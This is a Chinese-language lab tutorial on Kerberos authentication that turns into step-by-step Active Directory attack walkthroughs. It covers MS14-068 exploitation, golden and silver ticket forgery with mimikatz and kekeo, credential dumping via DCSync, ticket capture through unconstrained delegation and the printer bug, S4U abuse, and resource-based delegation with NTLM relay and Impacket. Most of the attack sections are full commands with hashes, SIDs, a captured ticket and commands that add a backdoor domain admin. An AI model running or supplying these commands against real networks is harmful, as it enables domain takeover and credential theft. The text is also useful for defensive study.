此时 Client 会使用 Session-Key AS 加密时间戳、Client-info、Server-info 等数据作为一部分。由于 TGT 是用 Krbtgt 账户的 NTLM-Hash 加密的,Client 无法解密,所以 Client 会将 TGT 作为另一部分继续发送给 TGS。两部分组成的请求被称为TGS_REQ。

TGS 收到该请求,用 Krbtgt 用户的 NTLM-hash 先解密 TGT 得到 Session-key AS、时间戳、Client-info 以及 Server-info。再用 Session-key AS 解密第一部分内容,得到 Client-info、时间戳。然后将两部分获取到时间戳进行比较,如果时间戳跟当前时间相差太久,就需要重新认证。TGS 还会将这个 Client 的信息与 TGT 中的 Client信息进行比较,如果两个相等的话,还会继续判断 Client 有没有权限访问 Server,

如果都没有问题,认证成功。认证成功后,KGS 会生成一个 Session-key TGS,并用 Session-key AS 加密 Session-key TGS 作为响应的一部分。此 Session-key TGS 用于确保客户端和服务器之间的通信安全。另一部分是使用服务器 Server 的 NTLM-Hash 加密 Session-key TGS、时间戳以及Client-info 等数据生成的 ST。然后 TGS 将这两部分信息回复给 Client,即TGS_REP。

至此,Client 和 KDC 的通信就结束了,然后是和 Server 进行通信

AP-REQ & AP-REP

该阶段是 Client 和 TGS 的认证,通过认证的客户端将与服务器建立连接

1746672534359-7783d9f3-0159-4f82-9d4e-907b998f8466.png

客户端 Client 收到 TGS_REP 后,分别获得了 ST 和加密的 Session-Key TGS。它会先使用本地缓存了的 Session-key AS 解密出了原始的 Session-key TGS。然后它会在本地缓存此 ST 和原始的 Session-Key TGS,当客户端需要访问某台服务器上的服务时会向服务器发送请求。它会使用 Session-key TGS 加密 Client-info、时间戳等信息作为一部分内容。ST 因为使用的是 Server NTLM-hash 进行的加密,无法解密,所以会原封不动发送给 Server。两部分一块发送给 Server,这个请求即是AP_REQ。

Server 收到 AP_REQ 请求后,用自身的 Server NTLM-Hash 解密了 ST,得到Session-Key TGS,再解密出 Client-info、时间戳等数据。然后与 ST 的 Client-info、时间戳等进行一一对比。时间戳有效时间一般时间为 8 小时。通过客户端身份验证后,服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限,DC 拿到PAC 后进行解密,然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此信息域用户请求的服务资源的 ACL进行对比,最后决定是否给用户提供相关的服务。通过认证后 Server 将返回最终的 AP-REP 并与 Client 建立通信。

至此,Kerberos 认证流程基本结束

PAC

我们在前面关于 Kerberos 认证流程的介绍中提到了 PAC(Privilege AttributeCertificate)这个东西,这是微软为了访问控制而引进的一个扩展,即特权访问证书

在上面的认证流程中,如果没有 PAC 的访问控制作用的话,只要用户的身份验证正确,那么就可以拿到 TGT,有了 TGT,就可以拿到 ST,有了 ST ,就可以访问服务了。此时任何一个经过身份验证的用户都可以访问任何服务。像这样的认证只解决了 "Who am i?" 的问题,而没有解决 "What can I do?" 的问题。

为了解决上面的这个问题,微软引进了 PAC。即 KDC 向客户端 Client 返回 AS_REP时插入了 PAC,PAC 中包含的是用户的 SID、用户所在的组等一些信息。当最后服务端 Server 收到 Client 发来的 AP_REQ 请求后,首先会对客户端身份验证。通过客户端身份验证后,服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限,DC 拿到 PAC 后进行解密,然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此信息域用户请求的服务资源的ACL 进行对比,最后决定是否给用户提供相关的服务。但是在有些服务中并没有验证 PAC 这一步,这也是白银票据能成功的前提,因为就算拥有用户的 Hash,可以伪造 TGS,但是也不能制作 PAC,PAC 当然也验证不成功,但是有些服务不去验证 PAC,这是白银票据成功的前提

Kerberos 认证中的相关安全问题概述

Kerberos 认证并不是天衣无缝的,这其中也会有各种漏洞能够被我们利用,比如我们常说的 MS14-068、黄金票据、白银票据等就是基于 Kerberos 协议进行攻击的。下面我们便来大致介绍一下 Kerberos 认证中的相关安全问题

黄金票据(Golden ticket)

在 Windows 的 kerberos 认证过程中,Client 将自己的信息发送给 KDC,然后 KDC使用 Krbtgt 用户的 NTLM-Hash 作为密钥进行加密,生成 TGT。那么如果获取到了Krbtgt 的 NTLM-Hash 值,不就可以伪造任意的 TGT 了吗。因为 Krbtgt 只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。

先假设这么一种情况,原先已拿到的域内所有的账户 Hash,包括 Krbtgt 这个账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置 Krbtgt 密码,基于此条件,我们还能利用该票据重新获得域管理员权限。利用 Krbtgt 的 Hash 值可以伪造生成任意的 TGT,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务。

白银票据(Silver ticket)

白银票据不同于黄金票据,白银票据的利用过程是伪造 TGS,通过已知的授权服务密码生成一张可以访问该服务的 TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由 KDC颁发 TGT,并且在生成伪造的 TGT 得 20 分钟内,TGS 不会对该 TGT 的真伪进行效验。

白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用 Krbtgt账号的密码哈希值,因此更加隐蔽。

MS14-068

这里便用到了我们之前所讲到的 PAC 这个东西,PAC 是用来验证 Client 的访问权限的,它会被放在 TGT 里发送给 Client,然后由 Client 发送给 TGS。但也恰恰是这个 PAC 造成了 MS14-068 这个漏洞。该漏洞是位于 kdcsvc.dll 域控制器的密钥分发中 心(KDC)服务中的 Windows 漏洞,它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限

密码喷洒攻击(Password Spraying)

在实际渗透中,许多渗透测试人员和攻击者通常都会使用一种被称为 “密码喷洒”(Password Spraying)的技术来进行测试和攻击。对密码进行喷洒式的攻击,这个叫法很形象,因为它属于自动化密码猜测的一种。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定,因为针对同一个用户的连续密码猜测会导致帐户被锁定。所以只有对所有用户同时执行特定的密码登录尝试,才能增加破解的概率,消除帐户被锁定的概率。普通的爆破就是用户名固定,爆破密码,但是密码喷洒,是用固定的密码去跑用户名

AS-REP Roasting

我们前文说过,ASREQ & ASREP 认证的过程是 Kerberos 身份认证的第一步,该过程又被称为预身份验证。预身份验证主要是为了防止密码脱机爆破。而如果域用户设置了选项 "Do not require Kerberos preauthentication"(该选项默认没有开启)关闭了预身份验证的话,攻击者可以使用指定的用户去请求票据,向域控制器发送 AS_REQ 请求,此时域控会不作任何验证便将 TGT 票据和加密的Session-key 等信息返回。因此攻击者就可以对获取到的加密 Session-key 进行离线破解,如果爆破成功,就能得到该指定用户的明文密码。这种攻击方式被称作 AS-REP Roasting 攻击

票据传递攻击

这里介绍域内常用的两种攻击方式:黄金票据 Golden ticket、白银票据 SILVER TICKET

金票 Golden ticket

原理

在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。

特点

不需要与 AS 进行交互,需要用户 krbtgt 的 Hash

具体操作介绍

一、伪造凭据,提升域内普通用户的权限

我们现在以一个本地 administrator 用户登录域内的一个主机中。

1746674749427-daefb64b-ffe1-40ff-b53f-769856748825.png

通过命令:net config workstation,可知域名为:moonhack 和其他信息

1746674759462-3faba25b-7b87-4304-9152-4186e75de63d.png

通过命令:nltest /dsgetdc:域名,可知 DC 主机名为:moonhack

1746674769139-aed385b3-1e33-4270-9731-7c88584d4e68.png

上传 mimikatz,以管理员权限运行 CMD,再去执行 mimikatz:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

这里利用 MS14-068 来提权,先检查下是否有 MS14-068, CVE 编号 CVE-2014-6324,补丁为 3011780 : systeminfo |find "3011780",如果返回为空就说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的

访问 08server-ad 失败 提示拒绝访问

1746674808123-7890cb44-a06f-4685-ae3e-76d513491901.png

上传 mimikatz 和 MS14-068 提权工具,whoami /user 或者 whoami/all 查看 test

用户的 suid

1746674816654-49ba516d-b884-4b5c-9c07-92b847c92e8f.png

使用 MS14-068 伪造票据:

执行命令:ms14-068.exe -u test@moonhack.com -p 123456 -s S-1-5-21-3439616436-2844000184-3841763578-1105 -d 08server-ad.moonhack.com,会在当前目录下生成一个凭证。

使用方法:

ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址 使用 mimikatz 清空之前缓存的凭证,导入伪造的凭证:

mimikatz # kerberos::purge //清空票据

mimikatz # kerberos::ptc 票据文件地址

1746674847055-e0810a0c-41ba-4947-ab7a-066052fbe06b.png

再输入 dir 8server-ad.moonhack.comc$,发现访问成功,现在我们有域管的权限:

1746674857578-3190f038-9862-4d48-b8d4-9a4ed0e67da0.png

添加域管账号密码

net user moonsec123 Qwe123... /add /domain
net group "Domain Admins" moonsec123 /add /domain

二、伪造金票

伪造金票的所需条件

1、域名称

2、域的 SID 值

3、域的 KRBTGT 账号的 HASH

4、伪造任意用户名

登录域管用户,执行 whoami 可以看到是 administrator 用户

1746674897932-badcd20b-a74a-4d57-b86c-8afb2f2a555c.png

使用一下命令导出用户 krbtgt 的 hash:

mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /all /csv
或 lsadump::lsa /inject
mimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /user:krbtgt
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /a
ll /csv" "exit">loghash.txt

1746674915732-45abca5c-8c9d-4e3b-964d-56a394ec7d5c.png

利用 mimikatz 生成金票生成.kirbi 文件并保存

mimikatz.exe "kerberos::golden /admin:system /domain:moonhack.com /sid:S-1-5-21-3439616436-2844000184-3841763578 /krbtgt:4c1d57638dddb470a8588af80160f5f6 /ticket:ticket.kirbi" exit

/admin:伪造的用户名

/domain:域名称

/sid:SID 值,注意是去掉最后一个-后面的值

/krbtgt:krbtgt 的 HASH 值

/ticket:生成的票据名称 //不是写入内存中的命令

1746674940670-01c0d68f-5e46-4383-b5a9-6f61214733f4.png

三,金票的使用(普通域账户,利用黄金票据,创建域管账户)

登录域内普通用户,通过 mimikatz 中的 kerberos::ptt 功能将 ticket.kirbi 导入内存中。

导入票据之前访问域控

1746674964726-61c2deff-4521-452c-9ff7-14eea51dfa63.png

mimikatz # kerberos::purge
mimikatz # kerberos::ptt C:Userstestticket.kirbi

1746674975423-fc6df364-4da0-407c-852d-0e82ac4b365d.png

注入内存中可以再来访问 dc 可以成功

1746674983220-e56aeea6-888b-4ddb-be65-c8d155ce3656.png

银票 SILVER TICKET

原理

如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。在 Kerberos 认证的第三部,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,

验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用

特点

1.不需要与 KDC 进行交互

2.需要 server 的 NTLM hash

具体操作介绍

登录上面创建的域管用户,用管理员权限打开 CMD,cd 到 mimikatz 存放的目录,去执行 mimikatz 的命令,得到 SID 和 NTLM

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

1746675045282-709dfc3f-f07f-4237-a2f6-95697f815ce5.png

先使用 mimikatz 清空票据,再导入伪造的票据,具体伪造票据的命令

kerberos::purge
kerberos::golden /domain:moonsec.fbi /sid:S-1-5-21-3068616892-3890610424-3278931909 /target:12server-dc.moonsec.fbi /service:cifs /rc4:42e2656ec24331269f82160ff5962387 /user:administrator /ptt

1746675066312-72a138f7-99af-4d35-9048-d89a6e02a436.png

使用方法:

kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名>/service:<服务类型> /rc4: /user:<用户名> /ptt

其中的用户名可以随便写

服务类型可以从以下内容中来进行选择,因为我们没有 TGT 去不断申请 ticket,

所以只能针对某一些服务来进行伪造

1746675085515-a3b76e9d-262a-4853-80d7-2c741594b98c.png

现在已经有域管的权限了

1746675094545-053389a1-cbf5-473d-b02a-a52716265e9d.png

kekeo 制作环境银票

tgt::ask /user:administrator /domain:moonsec.fbi /ntlm:42e2656ec24331269f82160ff5962387
// tgt::ask /user:用户名 /domain:域名 /ntlm:NTLM Hash
kerberos::ptt TGT_administrator@MOONSEC.FBI_krbtgt~moonsec.fbi@MOONSEC.FBI.kirbi

1746675113606-6ce4008e-9e61-44a9-bb00-58d81ba53010.png

金票和银票的区别

获取的权限不同

金票:伪造的 TGT,可以获取任意 Kerberos 的访问权限

银票:伪造的 ST,只能访问指定的服务,如 CIFS

认证流程不同

金票:同 KDC 交互,但不同 AS 交互

银票:不同 KDC 交互,直接访问 Server

加密方式不同

金票:由 krbtgt NTLM Hash 加密

银票:由服务账号 NTLM Hash 加密

委派攻击

域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。

简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派。

委派攻击分为三种攻击手段

非约束委派 攻击

约束委派攻击

资源委派攻击

非约束委派攻击

在域内只有主机账号和服务账号才有委派属性

主机账号:活动目录中的computers组内的计算机,也被称为机器账号。

服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号

非约束委派大致流程

user访问serverA,于是向DC发起认证,DC会检查serverA的机器账号的属性,如果是非约束委派的话,会把用户的TGT放在ST票据中并一起发送给serverA 这样serverA在验证ST票据的同时也获取到了用户的TGT,并把TGT储存在自己的lsass进程中以备下次重用,从而serverA就可以使用这个TGT,来模拟这个user访问任何服务。

1746683593275-3598b252-495f-4ec2-a504-ae2faf4ffb2a.png

从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境

搭建复现

注册服务用户 注册服务账号后 具有委派选项

setspn -A https/web web

1746683647344-1dfb58bd-1a77-4fef-81a3-59aa5bad50c5.png

设置主机委派

1746683656584-f2121dd6-38c5-4697-8c65-6f559349b121.png

当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含

TRUSTED_FOR_DELEGATION

1746683669779-e8545594-f91c-4ac8-a279-4967ce728f67.png

powerview 查询配置非约束委派

导入模块 PowerView.ps1

Import-Module .PowerView.ps1

查询非约束主机

Get-NetComputer -Unconstrained -Domain redteam.club

1746683705336-a2e63a2b-bb04-4e14-ae02-de5623185e14.png

查询非约束用户

Get-NetUser -Unconstrained -Domain redteam.club | select name

1746683721806-13efd001-5d96-40c4-8903-5959b657c4a3.png

adfind查询非约束委派

非约束委派的主机
AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306369)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
非约束委派的用户:
AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

1746683748735-470af3dc-131d-4938-b07e-45bdcc033822.png

非约束委派攻击案例

域管理使用winrm服务器远程连接域内主机

Enter-PSSession -ComputerName 12server3

1746683776173-dd8e63f1-8fd1-4a80-99e5-b0230ddee25a.png

此时域管的凭证已缓存于目标机器,使用域内机器登录本地管理员,导出相关凭证

privilege::debug
sekurlsa::tickets /export

1746683794556-06e3c728-0574-4075-8359-8f6e244649a4.png

此时先尝试连接域控,均无法连接

1746683814881-f9b8384d-4bc1-4856-9bcb-85e8691ab572.png

导入先前凭证:

kerberos::ptt 凭证名称
kerberos::list

1746683821905-44e7b966-948b-418b-8fed-e04fd0045016.png

导入票据 访问域控 ad.redteam.club

1746683830845-4b134efe-dc85-4c11-be32-a0be43cb11d3.png

非约束委派&Spooler

默认情况下Spooler服务为自动启动

1746683848100-68e2cb9b-469d-4661-b5ff-b14ecbef4af9.png

确认目标主机开启相关权限

1746683857048-864331ea-90af-4da2-ad1d-c3deeefe09b8.png

后续用Rubeus来监听事件id为4624的事件,可以第一事件截取到域控的TGT,监听来自域控ad1的登录

Rubeus.exe monitor /interval:1 /filteruser:ad1$
SpoolSample.exe AD ad1 12server2

表示利用打印服务强制让域控机向12server2主机验证身份,这样我们的Rubeus就可以监听到TGS了

1746683899757-3762c1de-9312-485f-8a64-e96a553ecc1d.png

监听的tgt

1746683908792-188098b5-d0f4-433e-8996-f83d680f46b0.png

提取tgs

doIFCjCCBQagAwIBBaEDAgEWooIEEzCCBA9hggQLMIIEB6ADAgEFoQ4bDFJFRFRFQU0uQ0xVQqIhMB+g
AwIBAqEYMBYbBmtyYnRn
dBsMUkVEVEVBTS5DTFVCo4IDyzCCA8egAwIBEqEDAgECooIDuQSCA7WpSym3D2JdDiwMwheT5WINPhdc
EUconea6NM+3ozPm0w5c
I0ZK4PYsqLSpBkXTlgCW8vauiIaueKoSTxEGxj2snmINsHVMsMQ89WPpBdaew2PmIW//JOjwTvnKeHgI
fGwMAQrNo+r5pWNkuQzI
GVb8hd0ZLO3kFUnu/9fPKe0uVMppPPf3/KN6Kig+Wr/82Zd4k0OaYaZXlpbuUuFMPARrjPXG/8EyEnTA
RR6vGv0tib12s0NXQg+5
pxQBaB1xgT+c0xvOBxhGrTG4DFN57tkYdgKfaggvFPYBG8yKVWYypjM5nhiuMYZaz2oQoFzTQwwY45kw
boo/h/qy3tMgjhqY+tFI
pjh2pWxMjUvrcFObsChsD6B4cScKSmbwo5AvBJ48ODDnAFsnYLAFwC3uzO49STp9CQQZk8+3yXSadzoC
uKk0/+lwOoOwdtOc27EG
mCmseL3YH0ltCufdD2mLgf+hnC/5PoL95UcM8K2GhaRHD0D9s+P3ZY5qH6LctZwQx1BXwsqG1d2wFGvE
u6DbYK/dvAeMDG1rrImI
hvZ/LJznMn/V/XmKUbHRIzgZrQb6o0Xzc0R4iYTLCaERnVUZPrBbnCwDaXm17AvoKfmW2eJU3iU/evMC
ycqQ1urhz8Rw8MrkshSX
V/4EJQcOZ46I1HPWsWiJNJz8M9L2vIm7ggJ0EAh+tJzCrbt2i3gIJgiHDk1DJxb3LcCWM8vBfTQGsGXV
b3AneKvIjtcatFrFu4LZ
cOyoGUltn9Lo2h4OKixPusMrs9IuA3743CcMzyTxTs1avnsRHcWx9jkkohg/q0IseMVAS2GL5WTayAqF
AnmjP4Mc/K3YhBphI1x/
UvnHsWgfAts7UTpMfAY4LouJkYHk6Sb6Y9IaQDags9oAk34PM2HA9NAJM7T2S0t/Z+NPo0V3CKMdG6nQ
dlvLcjXzjPRoRm52YnnN
p17YT9aEr4AgeiMKMbZCSzWPVakwUGY5wMbexaOSBU9V7IskRtw1oqGpCGI33jC8vhwn1bELJJdDM3gj
ZT4rKPlptCVvcdwvOxg6
SyOznSR9u629N/RHA/+Cy6AMIKyRqcr1mNr4PGpyw9pWm++Ejmn6UWvsxXCkFsuLDuPAsGKBx3j0NX/l
E18Svi9NUrTFVbSfH4lu
e9IA6UoSzTpPxPHK6d/9JzG/lQG/Se+4moy6wvw/UdL8rmtF5r4cNoZ+3s106b6W4/A6WC6b+evpHN7g
5umHbmMiEGVc44W6l8Wy
IhkhIkMPNy8mnfsnA0Vco4HiMIHfoAMCAQCigdcEgdR9gdEwgc6ggcswgcgwgcWgKzApoAMCARKhIgQg
m3Tx/sTSXt4YJqQL1mxV
XtQ1fOg+c00IYA2fs18EdYGhDhsMUkVEVEVBTS5DTFVCohEwD6ADAgEBoQgwBhsEQUQxJKMHAwUAYKEA
AKURGA8yMDIxMTExODA3
MTYxMFqmERgPMjAyMTExMTgxNzE2MTBapxEYDzIwMjExMTI1MDcxNjEwWqgOGwxSRURURUFNLkNMVUKp
ITAfoAMCAQKhGDAWGwZr
cmJ0Z3QbDFJFRFRFQU0uQ0xVQg==

然后直接用 powershell 转到为正常的 TGT 即可

[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("得到的
base64"))

1746683963005-80c6e11c-34fd-45fc-9aed-1c473fc48cde.png

1746683953902-61da194f-482b-4889-bb51-f8cf74410ab8.png

这样我们就可以得到 TGT 票据了

注入票据 导出hash

导入票据后ptt即可

kerberos::ptt XXX.kirbi

后续再Rubeus导入base64的票据直接注入进内存
Rubeus.exe ptt /ticket:base64
用mimikatz也可
privilege::debug
sekurlsa::tickets /export
导入票据后ptt即可
kerberos::ptt XXX.kirbi
lsadump::dcsync /domain:redteam.club /all /csv
mimikatz.exe "lsadump::dcsync /domain:redteam.club /all /csv" "exit">log.txt

1746683989423-b769be4b-92a8-4c5d-bc65-45a089137b6c.png

制作黄金票据访问域控

当前的权限是域的本地管理员,不是域控的权限,所以还是要制作黄金票据 访问域控

获取域控的sid

whoami /all

S-1-5-21-2365300756-2663045586-4193326672

sid 不需要后门的位数

制作黄金票据语句

kerberos::golden /domain:redteam.club /sid:S-1-5-21-2365300756-2663045586-
4193326672 /krbtgt:b6e0fcce3106665064de4917394ccc27 /user:administrator
/ticket:ntlm.kirbi

制作成功后 导入票据访问域控

kerberos::ptt ntlm.kirbi
dir \ad1.redteam.clubc$

1746684049724-9ef636e1-89de-49c2-91ee-f4758b805086.png

约束委派

约束委派原理

由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,其中S4U支持两个子协议:Service for User to Self ( S4U2Self )和 Service for Userto Proxy ( S4U2proxy ),这两个扩展都允许服务代表用户从KDC请求票证。 S4U2self可以代表自身请求针对其自身的可转发的Kerberos服务票据(ST1) ; S4U2proxy可以以用户的名义请求其它服务的ST2 ,约束委派就是限制了S4U2proxy扩展的范围

S4U2Self (用用户的TGT向KDC请求用户的可转发的ST1,再用这张ST1去发起S4U2proxy请求。)通过此扩展可以拿到一张标识任意用户身份的ST,它的作用其实是 协议转换 。有时用户会通过 其他协议(例如NTLM或什至基于表单的身份验证)对服务进行身份验证,因此他们不会将TGS发送给服务。在这种情况下,服务可以 调用S4U2Self来要求身份验证服务为其自身的任意用户生成TGS ,然后可以在调用S4U2Proxy时将其用作依据。例如网站A服务器可以使用它去向KDC请求一张用户B身份的ST1,网站A服务器再用这张ST1去发起S4U2proxy请求。

S4U2proxy (拿用户的可转发的ST1请求用于访问服务器的ST2) 该拓展作用是使用一张用户A身份的ST1去向KDC请求一张用于访问文件服务器B的ST2,这张ST2的身份还是用户的,这样的话网站A就可以利用用户A的权限去访问文件服务器B上的文件了。

大致流程:

user访问serviceA,向DC发起kerberos认证,域控返回user的TGT和ST1票据,user使用ST1票据对serviceA进行访问

如果配置了serviceA到serviceB的约束委派,则serviceA能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC。

域控返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能以用户的身份对serviceB发起访问。

1746684135155-a5e4ef0f-dd29-42c6-badd-ef6eb4ad26d2.png

由于服务用户 只能获取某个用户(或主机)的服务的ST1而非TGT , 所以只能模拟用户访问特定的服务 ,但是如果能拿到约束委派用户(或主机)的密码或者Hash,就可以 伪造S4U的请求,伪装成服务用户以任意用户的权限申请访问指定服务的ST2

环境搭建

此处如果没有用户,需要新建个用户,加上spn标识为服务用户

setspn -A cifs/12server3.redteam.club websec

设置服务用户对websec的cifs服务的委派

1746684161408-e6f54f38-1ad8-49d0-b3cf-e0cbebe67525.png

1746684166423-6e94ea44-7e9d-446b-b06e-175a1844c9bf.png已知在约束委派的情况下,服务用户只能获取某个用户或者主机的服务ST,只能用模拟用户访问特定的服务,是无法获取用户的TGT的,如果能够获得到开启了约束委派的服务的用户的明文密码或者hash就可以伪造S4U的请求,进而伪造服务用户以任意账户的权限访问服务的ST

复现

设置约束用户存在 TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION 关键字

1746684195870-ecf647f1-e0aa-486f-a142-96eeb22576b7.png

使用命令查询约束用户

AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(msds-
allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

1746684212054-18ff9e24-c4a9-4fac-b800-e75a92468a26.png

通过kekeo请求服务用户的TGT
tgt::ask /user:websec /domain:redteam.club /password:pass@123 /ticket:test.kirbi
同理此处利用ntlm hash也是可以进行请求的
tgt::ask /user:websec /domain:redteam.club /NTLM:XXXXX

1746684227012-c6e66583-19e8-49ba-b701-4fb140ae1e4a.png

利用这个票据通过伪造S4U请求以administrator身份访问websec的ST
tgs::s4u /tgt:TGT_websec@REDTEAM.CLUB_krbtgt~redteam.club@REDTEAM.CLUB.kirbi
/user:Administrator@reteam.club /service:cifs/ad1.redteam.club

1746684241141-117f36af-34bf-4200-8958-22ffb5aac53e.png

这时候kekeo当前路径下会出现administrator的ticket (用于访问websec的CIFS服务),导入这个tiket即可

访问websec的cifs服务:

使用kekeo导入票据访问域控

keberos::ptt
TGS_Administrator@redteam.club@REDTEAM.CLUB_cifs~ad1.redteam.club@REDTEAM.CLUB.kirbi

约束委派一般用户权限维持较多

1746684269239-214acf2e-e8c7-40e0-8211-906aceda786d.png

基于资源的约束委派

:::color1
注意:server2012才引入了基于资源的约束委派!!!

无需域管设置相关属性,请求ST的过程与先前的约束委派类似,传统的约束委派S4U2Self返回的票据一定是可转发的,如果不可转发那么S4U2Proxy将失败;但是基于资源的约束委派不同,就算S4U2Self返回的票据不可转发(可不可以转发由TrustedToAuthenticationForDelegation决定),S4U2Proxy也是可以成功,并且S4U2Proxy返回的票据总是可转发

总之需要用户对主机的属性具备写权限

:::

基于资源的约束委派原理

基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。

这里的关键就是谁可以修改属性

REDTEAMhack -> WriteProperty(将机器加入域的账号,也就是mS-DS-CreatorSID属性中的账户)
NT AUTHORITYSELF -> WriteProperty(机器账户自身也可以修改)
我们再回顾一个知识点,默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加
多达10个计算机帐户,就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户
账户、服务账户、机器账户

复现1 利用普通域账号提升到域本地管理员

创建机器主机账号

python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name moonsec -computer-pass pass@123 "redteam.club/hack:pass@123"

1746684337415-a3acdd2d-178b-426e-b7a4-88c1aa2ed143.png

中继&委派

执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议。其中–

remove-mic选项用于清除MIC标志,–escalate-user用于提升指定用户权限

python3 ntlmrelayx.py -t ldap://10.10.10.142 -smb2support --remove-mic --delegate-access --escalate-user moonsec$ -debug

域控有两台域控 10.10.10.142 主控 10.10.10.140是备份域控 10.10.10.139 是中继机子(kali)

python3 printerbug.py redteam.club/hack:pass@123@10.10.10.140 10.10.10.139

1746684419487-66aa6552-6269-481f-9ee3-f2428ac4d039.png

监听提升 修改委派

1746684404256-2818ee96-ab7f-495f-806f-5dac24d763c2.png

获取服务票据

python3 getST.py -dc-ip 10.10.10.142 redteam/moonsec$:pass@123 -spncifs/ad2.redteam.club -impersonate administrator

export KRB5CCNAME=administrator.ccache
vi /etc/resolv.conf

1746684458370-c2bc7295-57b8-4090-b98d-15cc8ea46d17.png

1746684464889-74d94385-d319-47c6-a2bd-9d003b3b9700.png

python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-user administrator
python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-ntlm

导出域控哈希

1746684477815-e4a3ddee-fde6-462c-81cf-b9f32d44bc17.png

1746684489422-8b8659f9-4822-4187-9bc5-c43e914b2af2.png

python3 smbexec.py -no-pass -k ad2.redteam.club

1746684504881-8c879780-b4e9-40a8-a78a-3d7c1db83434.png

复现2 资源委派攻击其他域主机获取system权限

首先查询域普通用户加入域的机子

using System;
using System.Security.Principal;
using System.DirectoryServices;
namespace ConsoleApp9
{
class Program
{
static void Main(string[] args)
{
DirectoryEntry ldap_conn = new
DirectoryEntry("LDAP://dc=redteam,dc=club");
DirectorySearcher search = new DirectorySearcher(ldap_conn);
String query = "(&(objectClass=computer))";//查找计算机
search.Filter = query;
foreach (SearchResult r in search.FindAll())
{
String mS_DS_CreatorSID = "";
String computername = "";
try
{
computername = r.Properties["dNSHostName"][0].ToString();
mS_DS_CreatorSID = (new
SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();
//Console.WriteLine("{0} {1}n", computername,
mS_DS_CreatorSID);
}
catch
{
;
}
//再通过sid找用户名
String UserQuery = "(&(objectClass=user))";
DirectorySearcher search2 = new DirectorySearcher(ldap_conn);
search2.Filter = UserQuery;
foreach (SearchResult u in search2.FindAll())
{
String user_sid = (new
SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();
if (user_sid == mS_DS_CreatorSID)
{
//Console.WriteLine("debug");
String username = u.Properties["name"][0].ToString();
Console.WriteLine("[*] [{0}] -> creator [{1}]",
computername, username);
}
}
}
}
}
}

查询到加入域主机的 域用户

